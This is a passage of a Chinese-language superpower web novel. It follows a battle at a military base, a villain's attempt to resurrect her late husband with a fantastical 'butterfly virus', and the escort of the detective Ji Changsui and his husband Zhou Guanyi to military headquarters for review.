然而巨蟒竟只是晃动了几下。季长岁“呼”了一声,垂下眼换弹,再抬眸时,异能光完全覆盖掉眼白和眼瞳,12.7毫米口径的子弹已经是天下少有的火力,再加上高阶异能者的强化,季长岁按下扳机开火。 同时,直升机一起开火,两架直升机各搭载四把轻型机枪。巨蟒甩头击落一架直升机,再一扫尾,季长岁直接迎上去,枪口抵在蛇鳞上一发直接打了个对穿! 血肉甩了基地一整片外墙,巨蟒颤抖了几下后轰然倒下,通讯器里有些电流杂音,是周观逸。他说:“全都是马戏团斗兽场里的那些人。” “所有吗?”季长岁问。 “所有。” 季长岁叹了口气:“我先去郭祁那里守着,赵砚白可能会用她妹妹威胁她出去,你……你能解决他们吗?” 周观逸那边没有立刻回答。因为他挺忙的。 那个“搅拌机”似乎加入了新成员,也加装了防护机制。周观逸和部下以包围推进、换弹时接火的方式保持火力连续不断地输出。 1号帐篷里没有原郭祁监管小组的成员,所以榴弹发射器火箭炮什么都咣咣往里扔。周观逸终于有了个空隙给他说话:“能。但是驯兽师可能在你那边。” “是,见着了。”季长岁抹掉脸上溅到的蛇肉血污,说,“一条赤道那么长的蛇。” “……真的吗。”周观逸有点无语。 赤道那么长的蛇并不容易死,而这里是军事防御基地,“防御”之中有个说法叫“以攻为守”,所以这个基地的军械库可谓相当精彩。 季长岁先是听见一阵如同冬雷般的嗡鸣,天边不远处航行而来一列战机,紧接着近处一道直入云霄的尖叫! 火力支援来得很及时,可这声尖叫让季长岁觉得不对劲。 他先确认了一下空中支援大部分前往周观逸那里,他那边比较棘手,倾巢而出的斗兽场怪物们估计要拖上很长一阵子。季长岁的直觉驱使他去查看一下尖叫的声源,于是他又一次问周观逸:“你搞得定吗?” “搞得定。”周观逸说完,把最后一把打空了子弹的步枪直接砸出去,对面拦住他的人是“僧”。对方一手拿棍,另一手竖于胸前,看起来比上一次在萨奥小镇老了些。 时间好像没有对他多么仁慈。 周观逸的弹药耗尽,站在呛人的弹药炮火里。近处燃烧着火药残留物,脚边不知什么物种的残肢体动了几下后偃旗息鼓。 僧人背后就是1号帐篷的门。周观逸的军装有破损,迷彩外套被割了几道口子,露出里面的防弹背心。他没有武器了,为了减轻负重,弹匣打空后直接扔枪。 “没想到你们能活着离开马戏团。”僧人说,“没有人能活着离开。” “为什么?”周观逸问。 “因为不被‘时间’允许。”僧人回答。 周观逸无奈地笑了下,他之前胸腔中了一弹,笑起来震得有点痛:“你们那儿的习俗,‘时间’是一个人吗?” 僧人摇头:“‘时间’就是‘时间’,好吧我不知道为什么你们离开了马戏团还能活着。我不能让你进去。” 周观逸做好了搏击的准备,他短促地呼了一声,接着,僧人提膝将手中的长棍折成两半,其中一半扔向周观逸。 他接住,愣了下。 僧人说:“时间是公平的。” “……好。” 周观逸不会用棍,只耍过枪,军区的搏击训练里偏好枪、刀、剑这些具备杀伤性的武器。他以棍做背手拿枪式,军官身姿流畅如龙,上身微倾,下盘蓄力。 两人出手就是杀招!长棍折断的部分并不规则,冒着木刺,第一招“闯”势直去咽喉。周观逸一抹身顺势负手拿棍同时左摆拳挥上去,僧人劈手挡、侧步下潜乌龙扫腿,周观逸后撤闪、绕步上前,双手下劈! 僧人不得不跟着周观逸的步伐来闪躲,搏击和其他运动一样,有一种“节奏”。呼吸、步伐、进攻或防守如果都能保持在一个让格斗者舒适的节奏里,那么优势劣势都无关紧要。 ——苍龙摆尾! 周观逸如旱地拔葱跃起,凌空翻身,棍不够长,横斩被僧人后撤步闪避。到这里,僧人后背已经被逼贴在帐篷门帘上。 僧人的呼吸完全乱套,周观逸站定,吐纳,换手拿棍。“轰”的一声,地面随之震颤两下,周观逸知道那是军方的巡航-导弹,不远处效力于马戏团的庞大怪物像是鸡蛋摔在地上,血与组织液体四处迸溅。 显然,僧人见局势不妙,他表情怅然,大约是知道敌不过他们:“你很强,但没有强大到能够活着离开马戏团,你们是不是没有被蝴蝶侵蚀过?” “没有。”周观逸答。虽然不知道那是什么,但他猜测应该是蝴蝶病毒。 僧人闪过一丝复杂的情绪,他重新站好,拿住棍子:“来吧。” 周观逸知道这是习武之人的信念,他呼吸,右脚蓄力,在地上摩擦出一道沙土痕迹——冲膝爆头! “啊——!!!”郭祁这辈子没有爆发出如此惨烈的尖叫。 季长岁弃车狂奔过去,郭祁跪在地上捂着脸,手指缝隙中可见因恐惧而失焦抖动的眼瞳,她不敢看但又要看。 赵砚白立于一侧,四下横七竖八倒着的军警成员。她脚边,是郭祁的妹妹,被割开了喉咙。 郭祁放下双手,手脚并用向前爬时,赵砚白点上烟,走上前两步,掏出一把齐亚帕犀牛左轮,枪口指着她妹妹:“别再过来了,你需要答应我几件事,我立刻救她。” “郭祁!”季长岁喝道。 郭祁好像听不见他说话,一个劲点头:“好、好,我什么都答应……” 赵砚白回头的那一瞬,眼神有所松动。季长岁狂奔过去,反手掏出急救包,动作迅速,拆出止血贴立刻贴在女孩脖子上,一连拆了所有的,他打从心底里很慌,全部贴住。 然后在通讯器里喊:“来几个疗愈者!要快!郭祁房间门口!” 随后从地上爬起来,看着赵砚白:“师娘。” 久违的称呼让赵砚白别过脸,她用拿枪的手夹下烟,吐出烟后,将烟扔去地上。然后她笑了,摇摇头:“你不觉得很奇怪吗,我只是想让他活回来,所有人都在阻止我,甚至包括你。” “我也想让他回来。”季长岁说,“做梦都想,但那不可能。” “现在可能了。”赵砚白指着地上爬向妹妹的郭祁,“她的异能强度很高,吞噬异能者我已经准备好了,把她抽干,然后全部灌入柯帆的骨灰里,没问题的。” 她说得平铺直叙,就好像在跟季长岁说怎么去做一道菜。把这块儿肉放在锅里煸出油脂,再淋去另一盘菜上激活其香味。 季长岁听得发懵,尽管此前他们已经估测出赵砚白可能会出现的行为,但真的听她这样说出来,季长岁一时间觉得喉咙被一只手扼着:“师娘,那不是……不是会发生在人类身上的事情。” “希拉斯的马戏团依靠这样的程序起死回生过很多人,甚至在给人续命,才有了天南海北那么多信徒。”赵砚白的手轻轻擦掉抢把上的灰尘,低垂着眼睛,“你难道能说那些人都不是人类了吗?” 她视线重新放在季长岁脸上。 季长岁摇头:“不是了,师娘,那不是人类了,甚至都不是‘那个’人类了。老师已经走了很久,他……他只剩下……” “骨灰。”赵砚白替他说完了,“别担心,肢体躯干我都挑选好了,甚至找到了和他脸很相似的头颅。” “……”季长岁呆滞地站在那儿。 赵砚白笑了下,看着郭祁:“现在,她得跟我走,放心我会留下她的性命,能不杀人的时候我不会下手,太多人命在手里总归睡不安稳。” 季长岁无助地摇头,随后厉声道:“敛骨吹魂只是个传说,你不可能唤醒一堆残骸!” “闭嘴!”赵砚白咬着牙,额角经络鼓起,她很不愿意听见“残骸”二字。她身后慢慢走来一群黑衣人,和她保持着微妙的距离,都是她的人,随时可以扑杀向季长岁。 主要火力在处理那边的帐篷,郭祁这边的留守军备被击溃后,帐篷那边的军警正在回防。疗愈系异能者负伤跑过来,赵砚白不耐烦地举枪,疗愈者没有防御能力,一枪就死。她指向第一个时—— 季长岁疾步上前,她干脆枪口先对着季长岁。 乍然迸出的蓝色光芒和郭祁盛怒之时一样,他的异能光“长”出了水母的触须,在手尚未碰到那把枪时,“触须”先一步缠绕上了枪身。那把有“颠覆左轮”之称的齐亚帕犀牛,在赵砚白手里脱落了弹匣。 下一步,赵砚白丢掉手枪,抬手做了个“上”的手势。 那些黑衣人齐齐奔上前来,子弹上膛的声音整齐划一到让人头皮发麻。季长岁看了眼地上昏迷重伤的人们,连沈浪都失去行动能力,呈一种骨骼扭曲的姿态躺在地上看着他。 他是目前基地里唯一的希望。 季长岁没动,什么都没动,背后三个疗愈者在替郭祁的妹妹疗伤。郭祁已经昏厥在那儿。其实季长岁一直不喜欢这种英雄主义,他是警察来的,职业使命就是做个正派方的英雄。他从少时,脑子里被刻着非常明确的“行为守则”,服从命令、惩奸除恶,不做任何超越“法则”的事情。 比如刚刚那样,让自己的异能长出“触须”。 事实上如果有全球异能者协会的教授在这里,或许他们会给出一个逻辑上的答案。季长岁看过郭祁的异能长出“触须”,那样异能者可以在不接触目标的情况下“远程施法”。高阶异能者中或有那么寥若晨星的几个可以做到。 而季长岁从没尝试过,因为不被允许。 此时,远方炮火渐歇,1号帐篷大约被处理得差不多了,但这里等不及他们回防,在季长岁可以预见的弹道里,黑衣人们已经抬枪。 那些幽蓝色的光以季长岁为中心铺出了一张网,沈浪诧然看着这一切—— 地上军警身上的枪械、榴弹、刀、匕首,被机械异能“拿”起,举至半空。季长岁仿佛枪械“驯兽师”,赵砚白更是后退了几步,她从未见过这样的人。 “是一种……”总军区的异能管理部部长看了军事基地的录像后,连夜赶回办公室跟周观逸开会,“你明白吗,机械异能者有一种潜在的特性,他们的学习能力强到几乎看一眼就能复刻的程度,你可以想象成ai在学习。” 洼州军事基地办公楼里,天快亮了,周观逸在电脑前点头:“我明白,但季警官不是敌人,我们没有必要对他进行任何限制或…他做了这么多年警察,在马戏团里甚至……” 周观逸说到一半收声了。 他们去救走陶诚的途中被那黑袍人拦下,那样的情况,季长岁都秉承着对方没有武器自己不开枪的原则。但他不能说,因为他答应季长岁陶诚开枪的事就当没发生过。 “总之不需要带他回军区。”周观逸说,“他是我丈夫,我能够对他负责。” “丈夫?”部长那边似乎还不知道这事儿,异能者管理部部长平时在军区的时间不多,他纳闷,“你们结婚了?你们两个Alpha?” “是的长官。”周观逸示意了一下自己的戒指。 “啊?”那部长推了一下眼镜,凑近屏幕,“你跟他认识多久结婚的?” “没几天。”周观逸说。 “迪士尼现在都不提倡跟一个刚认识的人结婚!”部长震声道。 第62章 第62章“能连我手机的蓝牙吗?…… 因为是视频会议,周观逸可以稍微把音量调小些。 “咳。”周观逸清清嗓子,“结婚的事情说来话长,这其中有一些复杂因素,不过现在的问题是,季长岁没有必要去总军区。” “听着,周观逸。”异能部部长肃声说道,“不是我的决定,甚至不是‘我们’的。季长岁将异能从身体里‘伸’了出去,你知道这对异能者协会来讲是什么程度。” 天渐渐亮了起来,像是天边有人割出一道口子。 那些微茫的光寂静无声从周观逸的下颚攀到眼眸,片刻后,他“嗯”了声,点点头:“明白了,我…我有个要求,长官。” “不可以。”那边异能部部长预判到了,“你不可以逮捕你的伴侣,必须由别人来,可以让沈浪……” “我来。”周观逸说,“请您体谅。” 半晌,天已大亮。那边点头同意了。 “这脸色,不会一晚上没睡吧?”季长岁递上两只手,“来吧。” 周观逸看了他一眼:“没到戴手铐的时候。” 季长岁放下手,继续吃早餐。 军事基地的食堂在昨夜的混战中幸存了下来,所以今天早上大家都能吃上东西。周观逸在他对面坐下,夹起个蒸饺放进嘴里嚼。季长岁边吃自己的边打量着他。 周观逸问他怎么了。 季长岁打趣道:“你嚼的饺子还是嚼报纸?” “没什么胃口。”周观逸咽下去,吃第二个,看起来仅仅是为了维持生命体征。 “老公。”季长岁喊他,“喝豆浆吗?我去给你拿。” “不用哄我,”周观逸停顿了下,接着说,“你不会有什么事情,只是依据异能者协会的规定,你必须接受非常细致的盘问和检查。” 季长岁放下筷子,抽了张纸擦擦嘴然后站起来走了。周观逸愣了下,视线跟着他。他真的去窗口那儿拿了杯豆浆回来放在他面前:“别光嚼报纸,润润。” “……”周观逸端起来喝了两口,看着他坐下,“你知道的,异能者协会和政务组织们之间一直在保持着平衡,协会对政务组织有所隐瞒是众所周知的秘密,他们弱化异能者以给普通人一些安全感。协会也确实在这么做,郭祁就是个例子,作为‘高危’异能者,她仍有一部分是比较缓和的,就是她必须去触碰对方。所以‘触碰原则’是协会最有力的安全牌。” 季长岁没什么太大的波澜,他继续拿汤勺舀着小馄饨,笑着递去周观逸面前:“我明白,尝尝这个,挺好吃的。” 手铐还是戴上了,异能抑制手铐,是异能者协会的要求。 桃榔市局一块儿过来出任务的警员惊呆了,尽管季长岁给他们解释了前因后果,但并不影响他们一个个瞪着眼睛嘴巴微张,目送他上了周观逸的车。 “啊对了!”季长岁回头,“回去告诉何书清,找个家政去我家里打扫卫生,再把电闸拉掉,煤气关上。” “明白……”警员说。 这么说的话,莫非要走上十天半个月? 和季长岁一同被带走的还有郭祁,同样的理由,郭祁也是出现了外触型的异能表现。 又因为郭祁无法乘坐飞机,他们要从洼州驱车三千多公里返回总军区,也是要照顾郭祁的身体状况,全程将每天行车10小时,定时休息。 季长岁权当自驾游了,还不用自己开车。 郭祁的监管小组全军覆没后现在没有任何东西能限制她,她的妹妹坐在军车第二排,妹妹脖子上贴着绷带,紧紧抱着她的手臂。第三排坐着季长岁和周观逸。 “其实现在郭祁可以把我们全杀了然后跑掉。”季长岁说。 他语调平淡,和聊天气没什么区别,导致前边开车的军人迅速瞄了一眼后视镜,副驾驶也是紧张了一下,枪都抱紧了。 周观逸“啧”一声,转头看他:“收敛一点。” “哦……”季长岁偏过脸看外边。洼州市区的街道很干净,人们上班上学,等红绿灯的时候看见一间报亭,门口有个烤肠箱,边上坐了条小黄狗,报亭老板撕了半根火腿肠丢给它,老板自己吃着另一半。 车继续向北,郭祁有些晕车,她靠在妹妹肩膀上闭着眼睛。连日来发生的一切对她来讲难以承受,世间万事都有所得失,过分强大的精神力无时无刻不在蚕食着她。 季长岁知道接下来要面对什么,异能者协会必须就此次两名高阶异能者出现的“非接触型异能”给人类政务组织一个合理的解释以及解决方案。就像季长岁自己对郭祁说的,君子无罪怀璧其罪。 但他和郭祁不一样,他具备很强的攻击性,很多事情只是看他愿不愿意、想不想。 他觉得这些政务组织甚至包括桃榔市局都要去柯帆的坟前磕几个头,克制、控制、压制,这三个词让季长岁维持着人类特性。 军车的避震系统做得很不错,离开洼州市区后是一片辽阔平坦的戈壁,视野能够完全抵达地平线,季长岁降下车窗,轻轻嗅了下旷野里风的味道。 “我想吐。”郭祁轻声说。 “啊。”她妹妹立刻坐直起来,扒着前排副驾驶,“停一下车可以吗,我姐姐晕车了。” “停车。”周观逸用对讲说。 他们是军队车队的第二辆,刚停下,郭祁掰车门把手掰不动,前边驾驶员赶紧跑下来帮她从外边打开。脚刚踩在地上,上半身一倾,军人立刻扶了下她胳膊,“哇”地弓着身子就吐了起来。 她妹妹在包里翻出来湿巾和水跑过去,季长岁也下车透了透气。他们正在穿越一个无人区,警靴踩在狰狞的土地上感觉很不一样,贫瘠之地却生机勃勃,缺乏水分和营养但仍冒着植被。 再抬头,青蓝青蓝的天,像假的。 车队停下后,大家都下车活动了一会儿,走一走或是清点弹药枪械,以防捆在车顶的物资有跌落。 季长岁回头:“想伸个懒腰。”他给周观逸示意了下手腕上的手铐。 周观逸在手机上给总军区汇报行程,他“嗯”了声,同车的军官正要拿钥匙去给他开手铐。周观逸瞧了季长岁一眼,说:“自己解。” “哦。”季长岁挪了挪手腕的方向,不到五秒,那个军用抑制异能手铐被打开了。他痛快地伸了个悠长的懒腰,发出“嗯~”的调调,笑了下,走到周观逸旁边:“忙什么呢你忙一路了。” 周观逸换上无语的表情:“忙你啊,我要给你写八百个材料才能让你暂时留在总军区。” 季长岁凑过去快速地偷偷在他脸上亲一口:“我还没去过总军区,去了我能住你宿舍吗?还是要关押问话?” “你听起来……”周观逸放下手机,端详他的表情,“怎么还有点期待的样子。” “嗯。”季长岁点头,手里抛着抑制手铐,“当然啊,去看看你从小长到大的地方。” 周观逸在总军区长大,他和季长岁一样,因为异能的特殊性而必须编入军警系统,从很小就开始灌输律令法则和服从性。如果说季长岁是天生的冷心冷情,像个机器人在接纳程序,那么周观逸就是一直在演,自己演给自己看。 那个从小长到大的地方,周观逸称之为“家”,他军校毕业那天,毕业典礼结束后他跟同学说的是“我回家了”。说完,他收拾着行李书籍和装备,拖着箱子坐上前往总军区的班车。 他必须把这一切演绎得淋漓尽致,催眠着自己,他一直都有个可以“回去”的地方。尽管只是从军校宿舍到军区宿舍。 “就是个宿舍。”周观逸说,“跟你视频的时候不是都看到了吗。” “那能一样吗。” 郭祁收拾好了之后回去车里,大家也要继续出发了。季长岁还假模假样地贴到周观逸旁边,问:“长官,还铐吗?长官?怎么不说话呀长官?” “你给我老实点。”周观逸扭头瞪他,“我在问赵砚白的状况。” “好吧。”季长岁从车的另一边上去,系好安全带,相当乖巧,俨然像是出来旅行的。 赵砚白乘坐飞机返回总军区,她的情况太过复杂且严重。她从柯帆的母亲那里继承到了希拉斯马戏团的某个重要职位,从而得知了“蝴蝶”的原理。 她一直以来的夙愿非常简单,就是将柯帆带“回来”。但就像网络上所说的“字数越少,事情越大”,赵砚白为了这么简单的一句话,四年来追杀着本就少得可怜的精神类异能者。 加深“蝴蝶”的浓度,割下精神异能者的肢体、器官,甚至皮肤,缝合组装出一个身体,将骨灰重塑填充,重新“缔造”出一个“柯帆”。她相信这绝对行得通,并且真的在为之努力。 车队继续北上,在耀眼的阳光下,一列肃穆的军车车队前进着,他们的轮胎卷着戈壁的灰尘,远方的野生动物警惕地看着、听着,等着他们快点离开。 季长岁已经整个人靠着周观逸了,坐姿越来越放肆,甚至询问:“能连我手机的蓝牙吗?” 周观逸:“……” 第63章 第63章你不要自责。 “季长岁,坐好。” “为什么啊。”季长岁不满,“我都这么老实地跟你上车了。” 他不满的语调里带了一点点撒娇的味道,导致他们前一排郭祁的妹妹很意外地回头看了看。季长岁没有多害羞,倒是周观逸稍微脸红,轻咳了下,继续回复消息不再管他。 季长岁的外触型异能表现是件很麻烦的事情,他本人毫不在意甚至开始无所谓了,大不了把他杀了?不可能,那样容易引发异能者暴动,像郭祁那样终身监管?也不现实,季长岁有反抗能力。 所以大概率最后只剩下一条,也是一直以来在这些高阶异能者身上起着作用的一条——异能者协会的真诚。 “真诚”这个特性一旦端出来,就有着自居下位者的感觉,让人情不自禁产生怜悯心。当初异能者协会就是这么对郭祁的,他们先是表述这个组织平时多么辛苦地在异能者和普通人之间斡旋,恳求她接受一系列监管,到最后慢慢一步步就成了现在这样,没有尽头的刑期。 郭祁转过头来,她感知到季长岁的视线,也大约猜到季长岁为什么会盯着自己。郭祁只回头看了一眼,接着手拨开妹妹的刘海,询问她累不累。 车窗外的画面随着进行的路线而变化,无人区腹地裸露着大片季长岁叫不出名字的植物,张牙舞爪。季长岁现在很希望赵砚白来看一看,这些才叫生命,它们可能只活这一个夏,待到第一场雪落下就离开此地。人们终其一生无法理解生命的意义,迷茫地在生命的洪流之中摸索探寻,在水里掬水,捧到面前仔细端详,再低头看看涌动的时间毫不留情地远去消失。 他也想念柯帆,人之常情,甚至此时此刻他都很想念,如果柯帆还在,可能今天这一切都不会这么疯狂。赵砚白的想念跟他不同,她是不顾一切地要柯帆活回来,尽管那已然是一堆枯骸她都要想办法。 那是爱情的一种表现吗?季长岁收回视线,从车窗挪去周观逸脸上。周观逸表情很不爽,手机一锁屏,呼气,皱着眉,恨不得开窗把手机扔出去。 然后周观逸降下车窗,季长岁迅速扑过去握住他手腕:“不至于,手机是无辜的。” “?”周观逸不解,“什么意思?” “不是,我看你这眼神像是要把它扔了。” “我半个月工资呢。”周观逸说。 “……也有道理。”季长岁点头。 在他的了解中,周观逸是个比较理智的人,尤其一些特定环境里比自己冷静多了。 军车队在稳定的时速下行驶着,郭祁和妹妹靠着对方慢慢睡着,车厢前排时不时响起对讲的电流声,军人们简单汇报着道路情况和燃油余量。 还没有完全离开无人区,这里是法律上禁止通行的区域。生态极好,原始地貌,没有覆盖任何治安系统,不被允许人类踏足,没有宗教、种族,神也不在此处。 季长岁觉得很平静,他之前有一瞬间,就那一转头去看周观逸的一瞬间萌生出的念头: 如果自己死了,周观逸会像赵砚白那样疯狂地把自己带回来吗? 随后他意识到这个问题非常荒诞,这是个无论周观逸怎么回答都不对劲的问题。他想要的答案是爱或不爱,这个问题如果问出来,只能够佐证周观逸是不是疯子。 平静着平静着他就困了,打了个呵欠然后理所应当地靠在周观逸身上。 他睡了很久,久到被周观逸晃醒的时候差点脾气上来了。军车队开到了最近的军事基地歇脚,正常军车进入军事基地都需要层层检查,所有人下车安检,清点枪械弹药。 “下车安检了。”周观逸说。 “为什么。”季长岁嘴上这么说,还是先自己把自己铐上,“我是中将的老公我还要安检?” “中将他老公还戴着手铐呢老公。”周观逸叹气。 季长岁是个有些脾气的人,当然这很正常,人都有脾气,只是周观逸刚刚忽然发现他耍脾气怎么好可爱。抑制异能的手铐在季长岁手里不仅毫无抑制作用甚至还被机械异能驱使着“咔咔”两声扣紧了。 周观逸绕去那边给他开车门。 踩在地上才发现入夜后的风这么凉,接着反应过来,风一直都这么凉,是周观逸身上很热,他贴了很久。 “这边。”周观逸握着他手臂,“我跟你一起进去,站这儿等我一下我去打个招呼。” 军事基地的大院24小时有人值守,院墙每隔一段距离亮着极为刺眼的探照灯,季长岁稍微眯了眯眼。他睡懵头了,周观逸折返回来时看他朝着自己傻笑,自己也跟着笑了:“来,过来吧,说了是家属,很快的。” 果然比上次快了很多,扫了一遍全身就出来了。周观逸解释说因为这次是军车押送,如果不是他戴着手铐,只要从之前那个安检门过一遍就行。 一行人向空宿舍楼走着,期间听见了一声感叹的“哇”。季长岁偏过头,是郭祁的妹妹仰着头,在说:“好多星星哦。” 她仰起头时郭祁很是紧张,叫她别这样抬着头,小心伤口。她笑吟吟地看着郭祁:“不要紧啦。” 季长岁也抬头看了眼夜空。 接着,人们不约而同慢下脚步,行军车队的军人们一路上没有人放松,全程警戒。直到进了军事基地才略略宽心,大家沉默地看了会儿星空。这里地处偏僻,侧面是山,另一边是荒原,大气干净清透,星星很亮。 “不要想了。”周观逸扶了一下他后背,忽然说了这么一句。 很突兀的一句话,没头没尾,但季长岁偏偏听懂了。不要再想了,木已成舟,再纠结下去就是不放过自己。 “嗯。”季长岁点头。 “你不要自责。”周观逸又说。 这句季长岁没有做反应,他把抑制手铐拆下来拿在手里,垂下头不再看星星,往前走。 你不要自责。 关于柯帆的死、赵砚白的执念、如此多年来的一切。他不是不知道自己这样一个强大到让人生畏的异能者会给市局带来多大的压力,儿时是柯帆拍着胸脯保证看管住他,成年后是桃榔市局杨局长,来到现在……他是机械沟通异能者,都不用去偷看周观逸的手机,也能知道周观逸从洼州到这里,一路上跟总军区过着招也是在保证自己绝不会失控。 他像个高维世界来的大型狩猎者,人们恐惧着试探他,用各种方式与他建立“契约”向他灌输着这社会的基本法则。 从前至今,他做得很好。这么多年,季长岁在异能者协会的观察下,他循规蹈矩,少有的几次意外都事出有因,在桃榔做一个单兵能力超群的警察。 临了,还是出现了外触型异能。 他的机械沟通已经不需要用手去触摸,也不需要媒介。这是高危事件。 但周观逸却说,你不要自责。 他快步走进宿舍楼,抹掉涌出来的眼泪,抹掉几颗还是往下掉。搞得他有点生气了,继续抹,他希望周观逸没有什么视觉上的异能,他不想哭的,从没想要哭的。 房间在四楼。 走过二楼楼梯转弯,周观逸安静地跟在后面。 周观逸没有其他异能,这个角度根本看不见他的脸。季长岁没有啜泣声,连呼吸都十分平稳,不过周观逸知道他在哭。 一个三十岁的成年已婚Alpha掉眼泪,尽管现在的世俗眼光更加包容,但季长岁本人还是觉得难为情。但他又止不住,因为他会在潜意识里自责。有时连自己都没有注意到。 三楼,那副手铐被季长岁拿在手里,跟楼梯扶手的铁质栏杆碰撞了两下。 四楼,季长岁回头转身,抬起手臂抱住周观逸。 房间玄关,周观逸关上门,将他牢牢抱住。很快季长岁哭湿了他半片肩膀,没有声音,沉默地流着眼泪。 这夜皎月高悬,世界按下静音键,一个稳固温暖的怀抱是季长岁的全部慰藉。 两天后,首都总军区。 总军区位于城市西北方向,设立总署办公大楼、军械库、战备物资库、重型装甲车以及战机。 人车分流接受安检,到这里,就连周观逸都要脱装备交武器。倒是郭祁非常熟练,她拆下耳坠和手链一起放进安检盒子里,然后跟军官解释说妹妹脖子上是伤口,接着有疗愈者上前来检查她妹妹。 到季长岁,过来的三个人都没有穿军装。 周观逸先一步站过来,将季长岁挡在身前:“抱歉,季长岁由总军区异能者管理部来评估,这点我已经在邮件和工作报告上讲明白了。” 季长岁明白了,他们三个是全球异能者协会的人。 穿着白大褂,看起来是效力于异能者研究组织实验室,他们之中站在正中间的那个女人上前一步,带着礼貌的微笑:“我们驳回了,周长官,您可能还没查看邮件。” “嗯,没看见就等于不知道。”周观逸回头,拽住季长岁的手铐,“我们会出一份评估报告交给异能者协会。” “请等……” “在此之前,”周观逸看着他们,“季警官会待在总军区,直到我们的评估结束,放心,我们会好生看管,毕竟异能者研究组织那边前阵子才跑了个加兹拉尔不是吗。” 第64章 第64章你们总军区靶场没有监控…… “比起郭祁,他更加棘手些。”研究组织的女人手揣在白大褂口袋,回过头去询问她的两名同伴,“不是说他们被生拉硬拽着结婚的吗?” 后边同伴耸肩表示不晓得。这谁能晓得。 全球异能者协会并不是一个具备武装力量的“管理部”,他们与人类全球政务组织、全球红十字会以及各个国家的军事中心签订了和平协议。异能者与普通人类必须要和平共处,这是毋庸置疑的正确决定。 现存的异能者们一旦联合起来,那将是一场无可阻挡的灾难。 这份和平协议的约束性是平衡的,异能者协会不是傻子,他们从来都没有想要任何一方去臣服,阶级解决不了长久的问题。所以异能者协会的标识是一个天平,一边放着羽毛,另一边是皇冠。寓意无比简单,即便是一片羽毛与宝石皇冠,只要寻得到方法,也可以保持平衡。 他们三人并没有到束手无策的地步,老老实实跟着总军区的人们一起进入总署大楼。 总署大楼7层会议厅,和三名研究员一同从异能者协会过来的还有一个监管小组,说是给郭祁新配备的,但季长岁坐下后感觉到了一丝微妙。 因为他们时不时飘过来些说不清道不明的目光,导致季长岁坐了一会儿坐不住了。他往后靠着,整个人懒散着,抑制手铐早拆下来了,拎着,垂在两条腿中间。 季长岁直接侧了侧身子坐,总之会议还没开始,他面对着扎堆坐的监管小组,直接问:“请问下,你们是希望对我进行监管吗?” “不不不!” “我们是精神异能者监管小组。” “没有没有您多想了。” ——恨不得同时开口,连连否认。 颇有一种“得罪不起”的……新鲜感。 这对季长岁来讲很新鲜,不是没见过这场面,因为这场面的触发者是周观逸。散发着“熟人装x”的奇妙。 在大约过去一分钟后,时间来到早晨九点三十分整,最后一把椅子被人坐上去之后,会议开始了。 开始的第一时间,季长岁发现周观逸和另一个中年男人站了起来。 这个时候他才意识到,周观逸,他丈夫,是这次会议的主要执行军官。所以怪不得除了他所有人都正襟危坐,他以为还会有更高军衔的军官过来,原来没了。 周观逸站起来敬军礼,接着说:“辛苦大家,我是总军区陆军护卫队队长周观逸。今天在总军区的会议有两件事情,一是为大家同步希拉斯马戏团‘蝴蝶病毒’令死者复生的过程和原理,二是精神控制异能者郭祁的监管事项——显然,异能者协会所提供的保护力量并不足够。” 接着站起来的,是那个最后一个进来的中年男人:“大家上午好,我是总军区异能者管理部部长易衡。先给诸位看一看我们的实验报告吧。” 他说完,按了下桌上的触摸板,随后墙面投影设备亮起,加载约两三秒后,出现了实验室画面。 因为没有人能确定“蝴蝶病毒”不会越过军用防护服,所以实验是由机械臂操作。画面是操作间的监控画面,人们安静地看着。 监控里的研究员说:“现在开始‘蝴蝶病毒’第一次正式驱动实验,实验物种绵羊幼崽,因分娩过程中的意外死亡,死亡时间56秒、57、58……开始释放‘蝴蝶’。” 一道玻璃隔绝的操作间里,机械臂从培育箱里取出一支小小的,外形酷似安瓿瓶的透明瓶子,在第60秒准时打开瓶盖。一如当初周观逸和季长岁在马戏团见到的那样,亮晶晶的粉尘落在绵羊小小的身体上。 它们落在已经死亡的小绵羊身上,会议厅里所有人连呼吸都暂停下来,静得不真实。他们在等,等着亲眼所见这逆向生命法则的画面。 时至今日,数不胜数的奇妙异能进入人们的视野之中。精神控制、电磁聚能、瞬间移动,甚至秩序、引导、治疗,而且在前阵子,他们还发现了一个空间异能者——那个学生觉醒异能的瞬间爆发出差点冲破表格的异能波动,在教室里割裂出一个“任意门”般的空间裂痕,裂痕对面是她的家,那孩子上课上一半有强烈的回家欲望…… 但,起死回生…… 没有人见过。 “天哪……”异能者研究组织的成员实在没有忍住,“这不可能…不可能的。” 那三人里,中间那位女士握着笔的手在抖着,她看起来是三人之中职位较高的人。坐在她左边的研究员转过头:“高组长,这太荒谬了,简直是违法自然规律。” 高组长将视线从屏幕挪开,说:“我从没见过这样的……这是异能吗?” “通过异能合成的物质,我们总军区实验室暂时将其判定为‘病毒’,组长。”易衡说,“浓度惊人的精神类异能,几乎是从活生生的精神异能者身上萃取出来的,生物在死去后的一定时间内神经仍具备活性,精神异能会强行刺激、再次唤醒这些神经。诸位可以想象成提线木偶,只要精神异能成分足够强,就可以通过神经‘拎着’那些躯体起来,像活过来一样。” 季长岁不解:“可是骨灰……也行吗?” 易衡看向他:“这个没有实验条件,但从理论推测上,异能者,尤其高阶异能者的骨灰,在保存得当的情况下,确实会含有微量的……的神经反应。” “所以,”易衡的视线移向会议桌,慢慢地扫在每个人脸上,“所以诸位,我们的世界出现了这样事情,有违人伦,背离自然,我们必须警惕起来。” “赵砚白本人怎么说?”季长岁问。 “她……”周观逸在桌子下面捏了捏他手,“她目前有权利拒绝审问,因为她的律师拿出了精神鉴定报告。” “什么时候?”季长岁问。 “一小时前。” 易衡接着说:“赵砚白保存了精神异能者的躯干,找到了五官面貌相似的头颅,她的计划是将找来的躯体与其骨骼分割开来,将柯……已亡故的柯警官的骨灰填充进去,达到复生目的。然而骨灰唤醒需要极强的精神异能,所以她的目标瞄到郭祁。所以对此,总军区决定以郭祁的国籍为基准,正式接管她。” “不行。”高组长率先站起来,“郭祁的情况太特殊了,军方未必能够妥善处理,她出现外触型异能之后,我们必须将她带回总部,还有,季警官,您恐怕也需要跟我们回去。” 季长岁有一种“总算轮到我了”的感觉,甚至松了口气:“那不行。” 高组长知道说服他不是件容易的事:“请您考虑一下,外触型异能是一件非常危险的事情,就当是为了全世界的异能者,我们的同类。” “别。”季长岁坐直起来,“这么高个帽子别往我头上戴,这位组长,我还有工作,不能在外面耽误太久。” 